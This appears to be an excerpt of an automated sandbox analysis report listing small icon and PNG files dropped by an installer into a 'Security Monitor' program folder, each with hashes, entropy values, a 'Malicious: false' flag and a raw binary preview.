Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-K3IR9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-KOLJL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-L2SUC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-LBHSB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-LCPD4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NAPE1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NRBR0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NRRJB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-Q2QLR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-QCQRK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-R1S26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-S4354.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-SDUR6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-SUHLM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-TFKN8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-TLFJN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-UBVGD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
